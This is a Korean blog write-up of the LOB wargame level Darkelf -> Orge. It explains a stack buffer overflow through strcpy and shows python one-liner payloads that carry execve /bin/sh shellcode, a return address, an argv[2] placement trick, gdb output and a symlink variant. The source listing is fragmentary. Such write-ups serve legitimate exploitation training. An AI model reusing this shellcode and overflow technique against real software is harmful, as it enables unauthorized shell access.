Sh4n3e
[시스템해킹][LOB] Level7 : Darkelf -> Orge 본문
이번 문제는 이상하게도 생각한 방법대로 실행이 되지 않아 애를 먹었다.
하지만 이번 문제를 해결하는 과정중에 해당 문제를 해결할 수 있는 방법이 2가지가 존재함을 알 수 있었다.
우선 이 문제의 소스부터 보기로 하자.
#include <stdio.h> extern char **environ; main(int argc, char *argv[]) if(argc < 2){ // here is changed! // egghunter if(argv[1][47] != '\xbf') // check the length of argument strcpy(buffer, argv[1]); // buffer hunter |
해당 문제에서 가장 거슬리는 지점은 저 2곳이었다. 왜냐하면 실행파일의 길이가 77이어야한다는 제약 조건이 존재했고, Argument로 보내는 인자의 길이는 48보다 커서는 안되는 것이었다.
초기에 그래도 쉽게 접근할 수 있을 것 같아 아래와 같은 예제 Payload를 만들어 보았다.
$(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xa0\xfd\xff\xbf"') |
해당 Payload는 우선 ./////~/////orge 이런식으로 77의 길이를 만들어주고, argv[1]내에 NOP와 Shellcode를 넣어 argv[1]내에서 모든 것을 처리할 수 있게 만들었다. 하지만 무슨이유에서인지 제대로 작동하지 않았고, 계속된 에러만 토해내고 말았다......
그러다 여러가지를 알게 되었고, argv[1]의 길이인 48을 극복할 수 있는 방법을 알아낼 수 있었다. 그것은 argv[2]를 사용하는 방법이다.
해당 Payload는 그냥 argv[1]에 의미없는 값과 RET만 채워넣어주고, 길이의 제한이 없는 argv[2]에 Shellcode를 넣어주어 실행할 수 있도록 하는 것이다. 우선 아래의 어셈블 코드를 보며 더 자세히 분석하자.
[darkelf@localhost darkelf]$ gdb -q $(python -c 'print "."+"/"*58+"aaaa"') |
정확히 어떻게 들어가는지 분석해보자
(gdb) b *main+40 Starting program: /home/darkelf/.//////////////////////////////////////////////////////////aaaa $(python -c 'print "A"*44+"\x63\xfd\xff\xbf"') $(python -c 'print "\x90"*32+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') Breakpoint 3, 0x8048528 in main () |
빨간색은 argv[0]
파란색은 argv[1]
초록색은 argv[2]
이런 형태로 나눠서 들어간다. 각각의 argv는 0x00(NULL)로 구분되어 있다.
따라서 이제 현재 들어가있는 주소값도 알았으니 이제 Payload를 작성하여 공격을 시도해보자.
$(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "A"*44+"\x63\xfd\xff\xbf"') $(python -c 'print "\x90"*32+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') |
해당 Payload로 공격한 결과는 아래와 같다.
<\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'") |
* 추가적으로 위의 공격방법을 제외하고 한가지 공격방법이 더 존재한다.
파일이름을 Symbolic Link로 새롭게 만들어줌으로써 77길이를 맞춰주는 방법이다. 이것은
ln -s ./orge ./$(python -c "print 'A*75") 와 같은 방법으로 심볼릭 링크를 만들어 주고, Payload를 붙여주면 된다.
'Wargame > LOB' 카테고리의 다른 글
[시스템해킹][LOB] Level9 : Troll -> Vampire (0) | 2017.06.23 |
---|---|
[시스템해킹][LOB] Level8 : Orge -> Troll (0) | 2017.06.23 |
[시스템해킹][LOB] Level6 : Wolfman -> Darkelf (0) | 2017.06.22 |
[시스템해킹][LOB] Level5 : Orc -> Wolfman (0) | 2017.06.22 |
[시스템해킹][LOB] Level4 : Goblin -> Orc (0) | 2017.06.22 |